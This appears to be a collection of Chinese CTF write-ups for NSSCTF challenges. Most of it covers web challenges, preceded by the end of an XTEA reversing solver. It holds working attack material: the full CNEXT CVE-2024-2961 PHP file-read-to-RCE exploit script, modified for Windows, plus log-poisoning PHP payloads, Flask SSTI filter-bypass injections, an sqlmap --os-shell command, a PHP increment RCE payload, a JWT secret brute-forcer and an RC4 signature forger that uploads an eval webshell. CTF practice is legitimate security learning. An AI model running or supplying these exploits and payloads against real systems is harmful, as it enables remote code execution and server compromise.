        xtea_decrypt((uint32_t *)(ida_chars + i));
    }

    for (int k = 0; k < sizeof(ida_chars); k += 2)
    {
        ida_chars[k] ^= 0x72;
        ida_chars[k] -= 1;
        ida_chars[k + 1] ^= 2;
        ida_chars[k + 1] += 2;
    }
    for (int i = 0; i < sizeof(ida_chars); i++)
    {
        printf("%c", ida_chars[i]);
    }
    printf("\n");
    // for (int i = 0; i < 48; i++)
    // {
    //     printf("%#02x ", ida_chars[i]);
    // }
}
// NSSCTF{13ce5888-01b4-4287-8593-eb975ab6cf{杯F\∑

// NSSCTF{13ce5888-01b4-4287-8593-eb975ab6cf6a}

web

SIGN IN!




ezez_include


明显的文件包含

bp抓包得知:Server: nginx/1.20.2

使用日志文件包含

先发一次包

User-Agent:<?php echo `ls /`; ?>


然后文件读取

/var/log/nginx/access.log


isAdmin


开局就说我没去权限,并且给了一个json数据传参处,结合题目:isAdmin


发送请求再检查状态得到flag

​

我是签到

<?php   
if(isset($_POST['file'])){ 
$data = file_get_contents($_POST['file']);
echo "File contents: $data";}
highlight_file(__FILE__);
error_reporting(0);
?>

开局一段源代码,以为是文件包含,结果半天找不到文件名

日志文件包含也不行,结果一搜,发现这是一个cve漏洞,源代码一模一样,于是在网上找了个脚本

下面是使用流程:
首先要触发一次文件包含
如何运行脚本

PS D:\PythonProject1> python 爬虫.py "http://node9.anna.nssctf.cn:24367/index.php" "env"     
下面是回显                     
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Using 0x7fa7d7a00040 as heap  

得到system函数的内存映射地址:0x7fa7d7a00040

然后再执行命令写入文件

PS D:\PythonProject1> python 爬虫.py "http://node9.anna.nssctf.cn:24367/index.php" "env>1.txt" -H 0x7fa7d7a00040
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
 EXPLOIT  SUCCESS 


然后去访问1.txt得到flag

下面是我修改了一点的脚本,使得可以在windows上运行:

#!/usr/bin/env python3

#

# CNEXT: PHP file-read to RCE (CVE-2024-2961)

# Date: 2024-05-27

# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)

#

# TODO Parse LIBC to know if patched

#

# INFORMATIONS

#

# To use, implement the Remote class, which tells the exploit how to send the payload.

#

  

from __future__ import annotations

  

import base64

import zlib

  

from dataclasses import dataclass

from requests.exceptions import ConnectionError, ChunkedEncodingError

  

from pwn import *

from ten import *

  

HEAP_SIZE = 2 * 1024 * 1024

BUG = "劄".encode("utf-8")

  
  

class Remote:

    """A helper class to send the payload and download files.

  

    The logic of the exploit is always the same, but the exploit needs to know how to

    download files (/proc/self/maps and libc) and how to send the payload.

  

    The code here serves as an example that attacks a page that looks like:

  

    ```php

    <?php

  

    $data = file_get_contents($_POST['file']);

    echo "File contents: $data";

    ```

  

    Tweak it to fit your target, and start the exploit.

    """

  

    def __init__(self, url: str) -> None:

        self.url = url

        self.session = Session()

  

    def send(self, path: str) -> Response:

        """Sends given `path` to the HTTP server. Returns the response.

        """

        return self.session.post(self.url, data={"file": path})

  

    def download(self, path: str) -> bytes:

        """Returns the contents of a remote file.

        """

        path = f"php://filter/convert.base64-encode/resource={path}"

        response = self.send(path)

        data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)

        return base64.decode(data)

  
  

@entry

@arg("url", "Target URL")

@arg("command", "Command to run on the system; limited to 0x140 bytes")

@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")

@arg("heap", "Address of the main zend_mm_heap structure.")

@arg(

    "pad",

    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "

    "operations with this size, increase this. Defaults to 20.",

)

@dataclass

class Exploit:

    """CNEXT exploit: RCE using a file read primitive in PHP."""

  

    url: str

    command: str

    sleep: int = 1

    heap: str = None

    pad: int = 20

  

    def __post_init__(self):

        self.remote = Remote(self.url)

        self.log = logger("EXPLOIT")

        self.info = {}

        self.heap = self.heap and int(self.heap, 16)

  

    def check_vulnerable(self) -> None:

        """Checks whether the target is reachable and properly allows for the various

        wrappers and filters that the exploit needs.

        """

  

        def safe_download(path: str) -> bytes:

            try:

                return self.remote.download(path)

            except ConnectionError:

                failure("Target not [b]reachable[/] ?")

  

        def check_token(text: str, path: str) -> bool:

            result = safe_download(path)

            return text.encode() == result

  

        text = tf.random.string(50).encode()

        base64 = b64(text, misalign=True).decode()

        path = f"data:text/plain;base64,{base64}"

  

        result = safe_download(path)

  

        if text not in result:

            msg_failure("Remote.download did not return the test string")

            print("--------------------")

            print(f"Expected test string: {text}")

            print(f"Got: {result}")

            print("--------------------")

            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

  

        msg_info("The [i]data://[/] wrapper works")

  

        text = tf.random.string(50)

        base64 = b64(text.encode(), misalign=True).decode()

        path = f"php://filter//resource=data:text/plain;base64,{base64}"

        if not check_token(text, path):

            failure("The [i]php://filter/[/] wrapper does not work")

  

        msg_info("The [i]php://filter/[/] wrapper works")

  

        text = tf.random.string(50)

        base64 = b64(compress(text.encode()), misalign=True).decode()

        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

  

        if not check_token(text, path):

            failure("The [i]zlib[/] extension is not enabled")

  

        msg_info("The [i]zlib[/] extension is enabled")

  

        msg_success("Exploit preconditions are satisfied")

  

    def get_file(self, path: str) -> bytes:

        with msg_status(f"Downloading [i]{path}[/]..."):

            return self.remote.download(path)

  

    def get_regions(self) -> list[Region]:

        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""

        maps = self.get_file("/proc/self/maps")

        try:

            maps = maps.decode('utf-8')

        except UnicodeDecodeError:

            # 如果UTF-8解码失败,使用错误忽略模式

            maps = maps.decode('utf-8', errors='ignore')

        PATTERN = re.compile(

            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"

        )

        regions = []

        for region in table.split(maps, strip=True):

            if match := PATTERN.match(region):

                start = int(match.group(1), 16)

                stop = int(match.group(2), 16)

                permissions = match.group(3)

                path = match.group(4)

                if "/" in path or "[" in path:

                    path = path.rsplit(" ", 1)[-1]

                else:

                    path = ""

                current = Region(start, stop, permissions, path)

                regions.append(current)

            else:

                print(maps)

                failure("Unable to parse memory mappings")

  

        self.log.info(f"Got {len(regions)} memory regions")

  

        return regions

  

    def get_symbols_and_addresses(self) -> None:

        """Obtains useful symbols and addresses from the file read primitive."""

        regions = self.get_regions()

  

        LIBC_FILE = os.path.join(tempfile.gettempdir(), "cnext-libc")

  

        # PHP's heap

  

        self.info["heap"] = self.heap or self.find_main_heap(regions)

  

        # Libc

  

        libc = self._get_region(regions, "libc-", "libc.so")

  

        self.download_file(libc.path, LIBC_FILE)

  

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)

        self.info["libc"].address = libc.start

  

    def _get_region(self, regions: list[Region], *names: str) -> Region:

        """Returns the first region whose name matches one of the given names."""

        for region in regions:

            if any(name in region.path for name in names):

                break

        else:

            failure("Unable to locate region")

  

        return region

  

    def download_file(self, remote_path: str, local_path: str) -> None:

        """Downloads `remote_path` to `local_path`"""

        data = self.get_file(remote_path)

        # 替换Path写入为普通文件操作

        with open(local_path, 'wb') as f:

            f.write(data)

  

    def find_main_heap(self, regions: list[Region]) -> Region:

        # Any anonymous RW region with a size superior to the base heap size is a

        # candidate. The heap is at the bottom of the region.

        heaps = [

            region.stop - HEAP_SIZE + 0x40

            for region in reversed(regions)

            if region.permissions == "rw-p"

            and region.size >= HEAP_SIZE

            and region.stop & (HEAP_SIZE - 1) == 0

            and region.path in ("", "[anon:zend_alloc]")

        ]

  

        if not heaps:

            failure("Unable to find PHP's main heap in memory")

  

        first = heaps[0]

  

        if len(heaps) > 1:

            heaps = ", ".join(map(hex, heaps))

            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")

        else:

            msg_info(f"Using [i]{hex(first)}[/] as heap")

  

        return first

  

    def run(self) -> None:

        self.check_vulnerable()

        self.get_symbols_and_addresses()

        self.exploit()

  

    def build_exploit_path(self) -> str:

        """On each step of the exploit, a filter will process each chunk one after the

        other. Processing generally involves making some kind of operation either

        on the chunk or in a destination chunk of the same size. Each operation is

        applied on every single chunk; you cannot make PHP apply iconv on the first 10

        chunks and leave the rest in place. That's where the difficulties come from.

  

        Keep in mind that we know the address of the main heap, and the libraries.

        ASLR/PIE do not matter here.

  

        The idea is to use the bug to make the freelist for chunks of size 0x100 point

        lower. For instance, we have the following free list:

  

        ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

  

        By triggering the bug from chunk ..900, we get:

  

        ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

  

        That's step 3.

  

        Now, in order to control the free list, and make it point whereever we want,

        we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,

        we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.

        That's step 2.

  

        Now, if we were to perform step2 an then step3 without anything else, we'd have

        a problem: after step2 has been processed, the free list goes bottom-up, like:

  

        0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

  

        We need to go the other way around. That's why we have step 1: it just allocates

        chunks. When they get freed, they reverse the free list. Now step2 allocates in

        reverse order, and therefore after step2, chunks are in the correct order.

  

        Another problem comes up.

  

        To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.

        Since step2 creates chunks that contain pointers and pointers are generally not

        UTF-8, we cannot afford to have that conversion happen on the chunks of step2.

        To avoid this, we put the chunks in step2 at the very end of the chain, and

        prefix them with `0\n`. When dechunked (right before the iconv), they will

        "disappear" from the chain, preserving them from the character set conversion

        and saving us from an unwanted processing error that would stop the processing

        chain.

  

        After step3 we have a corrupted freelist with an arbitrary pointer into it. We

        don't know the precise layout of the heap, but we know that at the top of the

        heap resides a zend_mm_heap structure. We overwrite this structure in two ways.

        Its free_slot[] array contains a pointer to each free list. By overwriting it,

        we can make PHP allocate chunks whereever we want. In addition, its custom_heap

        field contains pointers to hook functions for emalloc, efree, and erealloc

        (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and

        then overwrite the use_custom_heap flag to make PHP use these function pointers

        instead. We can now do our favorite CTF technique and get a call to

        system(<chunk>).

        We make sure that the "system" command kills the current process to avoid other

        system() calls with random chunk data, leading to undefined behaviour.

  

        The pad blocks just "pad" our allocations so that even if the heap of the

        process is in a random state, we still get contiguous, in order chunks for our

        exploit.

  

        Therefore, the whole process described here CANNOT crash. Everything falls

        perfectly in place, and nothing can get in the middle of our allocations.

        """

  

        LIBC = self.info["libc"]

        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]

        ADDR_EFREE = LIBC.symbols["__libc_system"]

        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

  

        ADDR_HEAP = self.info["heap"]

        ADDR_FREE_SLOT = ADDR_HEAP + 0x20

        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

  

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

  

        CS = 0x100

  

        # Pad needs to stay at size 0x100 at every step

        pad_size = CS - 0x18

        pad = b"\x00" * pad_size

        pad = chunked_chunk(pad, len(pad) + 6)

        pad = chunked_chunk(pad, len(pad) + 6)

        pad = chunked_chunk(pad, len(pad) + 6)

        pad = compressed_bucket(pad)

  

        step1_size = 1

        step1 = b"\x00" * step1_size

        step1 = chunked_chunk(step1)

        step1 = chunked_chunk(step1)

        step1 = chunked_chunk(step1, CS)

        step1 = compressed_bucket(step1)

  

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to

        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

  

        step2_size = 0x48

        step2 = b"\x00" * (step2_size + 8)

        step2 = chunked_chunk(step2, CS)

        step2 = chunked_chunk(step2)

        step2 = compressed_bucket(step2)

  

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)

        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)

        step2_write_ptr = chunked_chunk(step2_write_ptr)

        step2_write_ptr = compressed_bucket(step2_write_ptr)

  

        step3_size = CS

  

        step3 = b"\x00" * step3_size

        assert len(step3) == CS

        step3 = chunked_chunk(step3)

        step3 = chunked_chunk(step3)

        step3 = chunked_chunk(step3)

        step3 = compressed_bucket(step3)

  

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG

        assert len(step3_overflow) == CS

        step3_overflow = chunked_chunk(step3_overflow)

        step3_overflow = chunked_chunk(step3_overflow)

        step3_overflow = chunked_chunk(step3_overflow)

        step3_overflow = compressed_bucket(step3_overflow)

  

        step4_size = CS

        step4 = b"=00" + b"\x00" * (step4_size - 1)

        step4 = chunked_chunk(step4)

        step4 = chunked_chunk(step4)

        step4 = chunked_chunk(step4)

        step4 = compressed_bucket(step4)

  

        # This chunk will eventually overwrite mm_heap->free_slot

        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values

        step4_pwn = ptr_bucket(

            0x200000,

            0,

            # free_slot

            0,

            0,

            ADDR_CUSTOM_HEAP,  # 0x18

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            ADDR_HEAP,  # 0x140

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            0,

            size=CS,

        )

  

        step4_custom_heap = ptr_bucket(

            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18

        )

  

        step4_use_custom_heap_size = 0x140

  

        COMMAND = self.command

        COMMAND = f"kill -9 $PPID; {COMMAND}"

        if self.sleep:

            COMMAND = f"sleep {self.sleep}; {COMMAND}"

        COMMAND = COMMAND.encode() + b"\x00"

  

        assert (

                len(COMMAND) <= step4_use_custom_heap_size

        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"

        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

  

        step4_use_custom_heap = COMMAND

        step4_use_custom_heap = qpe(step4_use_custom_heap)

        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)

        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)

        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)

        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

  

        pages = (

                step4 * 3

                + step4_pwn

                + step4_custom_heap

                + step4_use_custom_heap

                + step3_overflow

                + pad * self.pad

                + step1 * 3

                + step2_write_ptr

                + step2 * 2

        )

  

        resource = compress(compress(pages))

        resource = b64(resource)

        resource = f"data:text/plain;base64,{resource.decode()}"

  

        filters = [

            # Create buckets

            "zlib.inflate",

            "zlib.inflate",

  

            # Step 0: Setup heap

            "dechunk",

            "convert.iconv.L1.L1",

  

            # Step 1: Reverse FL order

            "dechunk",

            "convert.iconv.L1.L1",

  

            # Step 2: Put fake pointer and make FL order back to normal

            "dechunk",

            "convert.iconv.L1.L1",

  

            # Step 3: Trigger overflow

            "dechunk",

            "convert.iconv.UTF-8.ISO-2022-CN-EXT",

  

            # Step 4: Allocate at arbitrary address and change zend_mm_heap

            "convert.quoted-printable-decode",

            "convert.iconv.L1.L1",

        ]

        filters = "|".join(filters)

        path = f"php://filter/read={filters}/resource={resource}"

  

        return path

  

    @inform("Triggering...")

    def exploit(self) -> None:

        path = self.build_exploit_path()

        start = time.time()

  

        try:

            self.remote.send(path)

        except (ConnectionError, ChunkedEncodingError):

            pass

  

        msg_print()

  

        if not self.sleep:

            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")

        elif start + self.sleep <= time.time():

            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")

        else:

            # Wrong heap, maybe? If the exploited suggested others, use them!

            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

  

        msg_print()

  
  

def compress(data) -> bytes:

    """Returns data suitable for `zlib.inflate`.

    """

    # Remove 2-byte header and 4-byte checksum

    return zlib.compress(data, 9)[2:-4]

  
  

def b64(data: bytes, misalign=True) -> bytes:

    payload = base64.encode(data)

    if not misalign and payload.endswith("="):

        raise ValueError(f"Misaligned: {data}")

    return payload.encode()

  
  

def compressed_bucket(data: bytes) -> bytes:

    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""

    return chunked_chunk(data, 0x8000)

  
  

def qpe(data: bytes) -> bytes:

    """Emulates quoted-printable-encode.

    """

    return "".join(f"={x:02x}" for x in data).upper().encode()

  
  

def ptr_bucket(*ptrs, size=None) -> bytes:

    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""

    if size is not None:

        assert len(ptrs) * 8 == size

    bucket = b"".join(map(p64, ptrs))

    bucket = qpe(bucket)

    bucket = chunked_chunk(bucket)

    bucket = chunked_chunk(bucket)

    bucket = chunked_chunk(bucket)

    bucket = compressed_bucket(bucket)

  

    return bucket

  
  

def chunked_chunk(data: bytes, size: int = None) -> bytes:

    """Constructs a chunked representation of the given chunk. If size is given, the

    chunked representation has size `size`.

    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.

    """

    # The caller does not care about the size: let's just add 8, which is more than

    # enough

    if size is None:

        size = len(data) + 8

    keep = len(data) + len(b"\n\n")

    size = f"{len(data):x}".rjust(size - keep, "0")

    return size.encode() + b"\n" + data + b"\n"

  
  

@dataclass

class Region:

    """A memory region."""

  

    start: int

    stop: int

    permissions: str

    path: str

  

    @property

    def size(self) -> int:

        return self.stop - self.start

  
  

Exploit()

​

​

我是复读机


尝试robots.txt


得到路径,发现一个输入框,输入发现无权限

查看cookie:
session=eyJ1c2VyIjoiZ3Vlc3QifQ.aQnyIw.fF8EGE01yacE5DGoZumJhZ4gTCY

显然是flask密钥爆破
而密钥在权限不足的显示界面的源代码里面找到
​

使用工具flask-session-cookie-manager-master伪造flask
​

测试发现为ssti,存在过滤,具体为

'globals','builtins','os','op','flag','port','subclasses','class','read','.'


这里对关键词过滤使用''(两个单引号)绕过,使用中括号绕过点过滤,使用*绕过对flag的过滤

{{g['po''p']['g''lobals']['b''uiltins']'imp''ort'['po''pen']('cat /f*')'r''ead'}}


得到flag

​

DANGEROUS TRIAL

!
扫描目录得到www.zip,里面是密码字段
爆破admin密码为:NSSLOVE
进入:

<?php
//base64_encode("rimuru")???
session_start();
error_reporting(0);
highlight_file(__FILE__);

$raw = $_GET['cat'] ?? '';
if (intval($raw) === 114514 && $raw !== '114514') {
} else {
    die("抱歉勇士,闯关失败<br>");
}


$pt = $_GET['Slime'] ?? '';
if (substr($pt, -3) !== 'XJ1') {
    die("成功进入洞穴,但是怪物呢??<br>");
}

$data = @file_get_contents($pt);
if (trim($data) !== "rimuru") {
    die("你看到怪物了快攻击他!<br>");
}

$code = $_POST['NSS_CTF.LOVE'] ?? '';
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)) {
    eval($code);
    echo "成功捕获一只史莱姆!<br>";
} else {
    die("你不是怪物的对手~<br>");
}

肉眼可见,后面上提示了。。。。
//base64_encode("rimuru")???

第一关:cat=114514a
编码后

第二关:

?path=d9eopi&cat=114514a&Slime=php://filter/convert.base64-decode/resource=data://text/plain,cmltdXJ1

第三关
就是无参rce,使用函数
​

​

​

"j"wt

下载附件后,找到密钥和一个普通账户的账号密码

​

进去以后
​

bp抓一下包


在这里是验证用户权限的,用了jwt加密,用我们在文件中拿到的密钥更改权限:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzYyMzQxODAxLCJleHAiOjE3NjIzNDU0MDF9.lxV8rGSP5LF8f_Jpwi4Vu5tF1DqJhHF7i5gvkKIX-L4


发出这个包之后还有一个包

把这里的jwt改为上面的就能得到flag
​

​

​

sql仅仅只是sql吗?


开局就提示使用sqlmap

于是使用sqlmap找遍了所有角落也没发现真正的flag,于是思考了一下题目那个问号,再搜索了一下发现:sqlmap不止可以读取数据库信息,还能在有权限的情况下执行命令,拿下主机shell
于是:

这条命令被我找到了

sqlmap -u 'http://node1.anna.nssctf.cn:28045/?id=1' --random-agent --os-shell 

!


PS:sqlmap还有文件读写功能--file-read,--file-writer

​

登录框


常规账户密码admin/123456


CVE-2022-47615‌ 是一个本地文件包含漏洞,影响LearnPress插件,攻击者可通过构造恶意请求读取服务器上的任意文件

bp抓包一下

发现删掉后就可以进行文件读取


使用一些flag常见路径读取,得到flag
​

​

php命令执行

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
if (isset($_POST['rce'])) {    $rce = $_POST['rce'];  
    if (strlen($rce) <= 200) {  
        if (is_string($rce)) {  
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\0-9]/", $rce)) {  
                eval($rce);  
            } else {  
                echo("Are you hack me?");  
            }  
        } else {  
            echo "I want string!";  
        }  
    } else {  
        echo "too long!";  
    }  
}  
?>

​

研究一下php自增
payload:

?__=system&_=cat /f*

rce=%24_%3D%5B%5D%3B+%24__%3D%24_%3D%3D%3D%24___%3B+%24_%3D%24_.%24_%3B+%24_%3D%24_%5B%24__%5D%3B+%24_%2B%2B%3B+%24_%2B%2B%3B+%24_%2B%2B%3B+%24___%3D%2B%2B%24_%3B+%24_%2B%2B%3B+%24__%3D%2B%2B%24_%3B+%24_%2B%2B%3B%24_%2B%2B%3B+%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B+%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B+%24_%2B%2B%3B%24_%2B%2B%3B+%24_%3D_.%24__.%24___.%2B%2B%24_%3B+%24%24_%5B__%5D%28%24%24_%5B_%5D%29%3B

​

​

​

Punishing


写个python脚本爆破后面三个就能得到密钥

import jwt
import itertools
import string

# 给定的JWT token
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Ikx1Y2lhIiwicm9sZSI6Imd1ZXN0In0.9775pWUcQiz0tJJ04SZC-mKgBdLs7KygnOsdDEz3WcE"

# 已知的密钥模式:Selena***
# 三个加号处需要爆破的字符
base_key = "Selena"

def brute_force_jwt_secret():
    """
    爆破Selena+++中的三个字符
    """
    # 定义可能的字符集(根据实际情况调整)
    # 这里使用字母、数字和常见特殊字符
    charset = string.ascii_letters + string.digits + "!@#$%^&*()_-+=[]{}|;:,.<>?/"
    
    print(f"开始爆破,字符集大小: {len(charset)}")
    print(f"总尝试次数: {len(charset)**3}")
    
    # 生成所有可能的3字符组合
    attempts = 0
    for combo in itertools.product(charset, repeat=3):
        attempts += 1
        if attempts % 10000 == 0:
            print(f"已尝试 {attempts} 次组合...")
        
        # 构建完整密钥
        secret_key = base_key + ''.join(combo)
        
        try:
            # 尝试用当前密钥解码JWT
            decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
            
            # 如果解码成功,打印结果
            print(f"\n爆破成功!")
            print(f"正确的密钥是: {secret_key}")
            print(f"解码后的payload: {decoded}")
            return secret_key, decoded
            
        except jwt.InvalidSignatureError:
            # 签名验证失败,继续尝试
            continue
        except jwt.ExpiredSignatureError:
            # token过期,但密钥正确
            print(f"\n找到可能正确的密钥: {secret_key} (token已过期)")
            return secret_key, None
        except Exception as e:
            # 其他异常
            continue
    
    print("\n爆破失败,未找到正确的密钥")
    return None, None

def optimized_brute_force():
    """
    优化版的爆破,使用更可能的字符集
    """
    # 常见密码字符集(根据密码习惯调整)
    common_chars = string.ascii_lowercase + string.digits + "!@#$%"
    
    print(f"优化爆破,字符集大小: {len(common_chars)}")
    print(f"总尝试次数: {len(common_chars)**3}")
    
    attempts = 0
    for combo in itertools.product(common_chars, repeat=3):
        attempts += 1
        if attempts % 5000 == 0:
            print(f"已尝试 {attempts} 次组合...")
        
        secret_key = base_key + ''.join(combo)
        
        try:
            decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
            print(f"\n爆破成功!")
            print(f"正确的密钥是: {secret_key}")
            print(f"解码后的payload: {decoded}")
            return secret_key, decoded
            
        except jwt.InvalidSignatureError:
            continue
        except Exception as e:
            continue
    
    print("\n优化爆破失败,尝试完整字符集...")
    return brute_force_jwt_secret()

if __name__ == "__main__":
    print("JWT密钥爆破工具")
    print("=" * 50)
    
    # 先显示token信息
    try:
        header = jwt.get_unverified_header(token)
        print(f"JWT Header: {header}")
        
        # 不解码签名,只显示payload(base64解码)
        parts = token.split('.')
        import base64
        import json
        
        # 解码payload
        payload_b64 = parts[1]
        # 添加padding(如果需要)
        padding = 4 - len(payload_b64) % 4
        if padding != 4:
            payload_b64 += '=' * padding
        
        payload_json = base64.b64decode(payload_b64)
        payload = json.loads(payload_json)
        print(f"JWT Payload: {payload}")
        
    except Exception as e:
        print(f"解析token基本信息时出错: {e}")
    
    print("\n开始爆破密钥...")
    print("密钥模式: Selena+++")
    print("=" * 50)
    
    # 先尝试优化爆破
    secret, result = optimized_brute_force()
    
    if secret:
        print(f"\n爆破完成!")
        print(f"正确密钥: {secret}")
        if result:
            print(f"用户信息: {result}")
    else:
        print("未能找到正确的密钥")

得到正确密钥:Selenahyw

伪造好jwt

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Ikx1Y2lhIiwicm9sZSI6ImFkbWluIn0.qqdmUNVB_F6EgHkDt3S2tth1mfONbG84HQBvXuJgqCM

得到一个文件上传

该文件上传对文件后缀做了过滤,但是还允许.htaccess上传,于是
上传.htaccess

AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=3.jpg"

再传一个3.jpg

PD9waHAgZWNobyBgY2F0IC9mbGFnYDs/Pg==

就能获取flag了

​

​

诚实大厅



显然的提示



而且是无回显的


还有过滤

bp爆破测试黑名单

得知大量关键字符被ban,而且因为request被过滤了所以内存马也不行,所以开始手搓,使用字符拼接和文件写入

先创建静态目录:

{{(((((x|attr('__init__')|attr('__gl''obals__')|attr('__getitem__'))

('__bu''iltins__')|attr('__getitem__'))('__im''port__'))('o''s')|attr('popen'))

('mkdir /app/static')|attr('read'))()}}

在把flag文件写入:

{{(((((x|attr('__init__')|attr('__gl''obals__')|attr('__getitem__'))('__bu''iltins__')|attr('__getitem__'))('__im''port__'))('os')|attr('popen'))('cat /flag>/app/static/flag')|attr('read'))()}}

最后访问/static/flag,下载获得flag
![[Pasted image 20251111174723.png]]

光能族,哎呀

该题为文件上传,考点是后缀过滤,用phtml后缀可以绕过,并且存在签名验证,但签名算法在前端源代码处,根据该源码判断为一个rc4,解密脚本如下:

def rc4(key: bytes, data: bytes) -> bytes:
    S = list(range(256))
    j = 0
    out = bytearray()

    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        out.append(byte ^ K)

    return bytes(out)
import hashlib, binascii

SECRET_KEY = b"monika creambread"#某个人的电脑用户名

file_name = b"1.phtml"
file_content = "<?php @eval($_POST['shell']);?>"

file_name_md5 = hashlib.md5(file_name).hexdigest()
file_content_md5 = hashlib.md5(file_content.encode("utf-8")).hexdigest()

md5_bytes = binascii.unhexlify(file_name_md5)
rc4_bytes = rc4(SECRET_KEY, md5_bytes)
rc4_hex = rc4_bytes.hex()

sig = rc4_hex + file_content_md5

print("sig:", sig)

更改签名后即可上传

用蚁剑连即可拿到flag